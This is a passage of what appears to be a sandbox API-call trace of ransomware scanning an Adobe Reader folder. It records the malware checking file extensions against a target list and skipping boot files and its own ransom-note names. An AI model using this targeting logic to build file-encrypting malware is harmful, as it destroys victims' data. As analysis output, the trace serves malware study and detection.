[0274.659] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0274.660] lstrlenW (lpString=".epsp") returned 5 [0274.660] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0274.660] lstrlenW (lpString=".erf") returned 4 [0274.660] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".exr") returned 4 [0274.660] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".f4v") returned 4 [0274.660] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".fido") returned 5 [0274.660] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0274.660] lstrlenW (lpString=".flm") returned 4 [0274.660] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".flv") returned 4 [0274.660] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".frm") returned 4 [0274.660] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".fxg") returned 4 [0274.660] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".geo") returned 4 [0274.660] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".gif") returned 4 [0274.660] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1 [0274.660] lstrlenW (lpString=".grs") returned 4 [0274.661] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".gz") returned 3 [0274.661] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0274.661] lstrlenW (lpString=".h") returned 2 [0274.661] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0274.661] lstrlenW (lpString=".hdr") returned 4 [0274.661] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".hpp") returned 4 [0274.661] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".hta") returned 4 [0274.661] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".htc") returned 4 [0274.661] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".htm") returned 4 [0274.661] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".html") returned 5 [0274.661] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1 [0274.661] lstrlenW (lpString=".icb") returned 4 [0274.661] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".ics") returned 4 [0274.661] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".iff") returned 4 [0274.661] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".inc") returned 4 [0274.661] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".indd") returned 5 [0274.661] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1 [0274.661] lstrlenW (lpString=".ini") returned 4 [0274.661] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".iqy") returned 4 [0274.661] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1 [0274.661] lstrlenW (lpString=".j2c") returned 4 [0274.662] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".j2k") returned 4 [0274.662] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".java") returned 5 [0274.662] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1 [0274.662] lstrlenW (lpString=".jp2") returned 4 [0274.662] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".jpc") returned 4 [0274.662] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".jpe") returned 4 [0274.662] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".jpeg") returned 5 [0274.662] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1 [0274.662] lstrlenW (lpString=".jpf") returned 4 [0274.662] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".jpg") returned 4 [0274.662] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".jpx") returned 4 [0274.662] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1 [0274.662] lstrlenW (lpString=".js") returned 3 [0274.662] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0274.662] lstrlenW (lpString="plugin.js") returned 9 [0274.662] lstrlenW (lpString=".love$") returned 6 [0274.662] lstrcmpiW (lpString1=".love$", lpString2="gin.js") returned -1 [0274.662] lstrlenW (lpString="plugin.js") returned 9 [0274.662] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1 [0274.662] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1 [0274.662] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1 [0274.662] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1 [0274.662] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1 [0274.662] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1 [0274.663] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1 [0274.663] lstrcmpiW (lpString1="finbbp.exe", lpString2="plugin.js") returned -1 [0274.663] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js") returned 126 [0274.663] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0274.663] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0274.663] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.663] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0274.663] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0274.663] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0274.663] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1 [0274.663] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 100 [0274.663] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 1 [0274.663] lstrlenW (lpString="aicuc") returned 5 [0274.663] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="aicuc") returned 1 [0274.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5060050 [0274.663] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 100 [0274.663] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0274.664] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.664] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0274.664] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 104 [0274.664] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 1 [0274.664] lstrlenW (lpString="css") returned 3 [0274.664] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1 [0274.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.664] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 104 [0274.664] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0274.664] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.664] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0274.664] lstrlenW (lpString="main.css") returned 8 [0274.665] lstrlenW (lpString=".1cd") returned 4 [0274.665] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".3ds") returned 4 [0274.665] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".3fr") returned 4 [0274.665] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".3g2") returned 4 [0274.665] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".3gp") returned 4 [0274.665] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".7z") returned 3 [0274.665] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0274.665] lstrlenW (lpString=".accda") returned 6 [0274.665] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0274.665] lstrlenW (lpString=".accdb") returned 6 [0274.665] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0274.665] lstrlenW (lpString=".accdc") returned 6 [0274.665] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0274.665] lstrlenW (lpString=".accde") returned 6 [0274.665] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0274.665] lstrlenW (lpString=".accdt") returned 6 [0274.665] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0274.665] lstrlenW (lpString=".accdw") returned 6 [0274.665] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0274.665] lstrlenW (lpString=".adb") returned 4 [0274.665] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".adp") returned 4 [0274.665] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0274.665] lstrlenW (lpString=".ai") returned 3 [0274.665] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0274.665] lstrlenW (lpString=".ai3") returned 4 [0274.666] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".ai4") returned 4 [0274.666] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".ai5") returned 4 [0274.666] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".ai6") returned 4 [0274.666] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".ai7") returned 4 [0274.666] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".ai8") returned 4 [0274.666] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".anim") returned 5 [0274.666] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0274.666] lstrlenW (lpString=".arw") returned 4 [0274.666] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0274.666] lstrlenW (lpString=".as") returned 3 [0274.666] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0274.666] lstrlenW (lpString=".asa") returned 4 [0274.666] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0274.666] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 1 [0274.666] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 0 [0274.666] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0274.667] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.667] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0274.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.667] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images") returned 107 [0274.667] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0274.667] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.667] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0274.667] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0274.667] lstrlenW (lpString=".1cd") returned 4 [0274.667] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.667] lstrlenW (lpString=".3ds") returned 4 [0274.667] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.667] lstrlenW (lpString=".3fr") returned 4 [0274.667] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.667] lstrlenW (lpString=".3g2") returned 4 [0274.667] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.667] lstrlenW (lpString=".3gp") returned 4 [0274.667] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.667] lstrlenW (lpString=".7z") returned 3 [0274.668] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.668] lstrlenW (lpString=".accda") returned 6 [0274.668] lstrcmpiW (lpString1=".accda", lpString2="on.png") returned -1 [0274.668] lstrlenW (lpString=".accdb") returned 6 [0274.668] lstrcmpiW (lpString1=".accdb", lpString2="on.png") returned -1 [0274.668] lstrlenW (lpString=".accdc") returned 6 [0274.668] lstrcmpiW (lpString1=".accdc", lpString2="on.png") returned -1 [0274.668] lstrlenW (lpString=".accde") returned 6 [0274.668] lstrcmpiW (lpString1=".accde", lpString2="on.png") returned -1 [0274.668] lstrlenW (lpString=".accdt") returned 6 [0274.668] lstrcmpiW (lpString1=".accdt", lpString2="on.png") returned -1 [0274.668] lstrlenW (lpString=".accdw") returned 6 [0274.668] lstrcmpiW (lpString1=".accdw", lpString2="on.png") returned -1 [0274.668] lstrlenW (lpString=".adb") returned 4 [0274.668] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".adp") returned 4 [0274.668] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".ai") returned 3 [0274.668] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.668] lstrlenW (lpString=".ai3") returned 4 [0274.668] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".ai4") returned 4 [0274.668] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".ai5") returned 4 [0274.668] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".ai6") returned 4 [0274.668] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".ai7") returned 4 [0274.668] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".ai8") returned 4 [0274.668] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0274.668] lstrlenW (lpString=".anim") returned 5 [0274.669] lstrcmpiW (lpString1=".anim", lpString2="n.png") returned -1 [0274.669] lstrlenW (lpString=".arw") returned 4 [0274.669] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".as") returned 3 [0274.669] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0274.669] lstrlenW (lpString=".asa") returned 4 [0274.669] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".asc") returned 4 [0274.669] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".ascx") returned 5 [0274.669] lstrcmpiW (lpString1=".ascx", lpString2="n.png") returned -1 [0274.669] lstrlenW (lpString=".asm") returned 4 [0274.669] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".asmx") returned 5 [0274.669] lstrcmpiW (lpString1=".asmx", lpString2="n.png") returned -1 [0274.669] lstrlenW (lpString=".asp") returned 4 [0274.669] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".aspx") returned 5 [0274.669] lstrcmpiW (lpString1=".aspx", lpString2="n.png") returned -1 [0274.669] lstrlenW (lpString=".asr") returned 4 [0274.669] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".asx") returned 4 [0274.669] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".avi") returned 4 [0274.669] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".avs") returned 4 [0274.669] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".backup") returned 7 [0274.669] lstrcmpiW (lpString1=".backup", lpString2="con.png") returned -1 [0274.669] lstrlenW (lpString=".bak") returned 4 [0274.669] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0274.669] lstrlenW (lpString=".bay") returned 4 [0274.670] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".bd") returned 3 [0274.670] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0274.670] lstrlenW (lpString=".bin") returned 4 [0274.670] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".bmp") returned 4 [0274.670] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".bz2") returned 4 [0274.670] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".c") returned 2 [0274.670] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0274.670] lstrlenW (lpString=".cdr") returned 4 [0274.670] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".cer") returned 4 [0274.670] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".cf") returned 3 [0274.670] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0274.670] lstrlenW (lpString=".cfc") returned 4 [0274.670] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0274.670] lstrlenW (lpString=".cfm") returned 4 [0274.670] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".cfml") returned 5 [0274.671] lstrcmpiW (lpString1=".cfml", lpString2="n.png") returned -1 [0274.671] lstrlenW (lpString=".cfu") returned 4 [0274.671] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".chm") returned 4 [0274.671] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".cin") returned 4 [0274.671] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".class") returned 6 [0274.671] lstrcmpiW (lpString1=".class", lpString2="on.png") returned -1 [0274.671] lstrlenW (lpString=".clx") returned 4 [0274.671] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".config") returned 7 [0274.671] lstrcmpiW (lpString1=".config", lpString2="con.png") returned -1 [0274.671] lstrlenW (lpString=".cpp") returned 4 [0274.671] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".cr2") returned 4 [0274.671] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".crt") returned 4 [0274.671] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".crw") returned 4 [0274.671] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".cs") returned 3 [0274.671] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0274.671] lstrlenW (lpString=".css") returned 4 [0274.671] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".csv") returned 4 [0274.671] lstrcmpiW 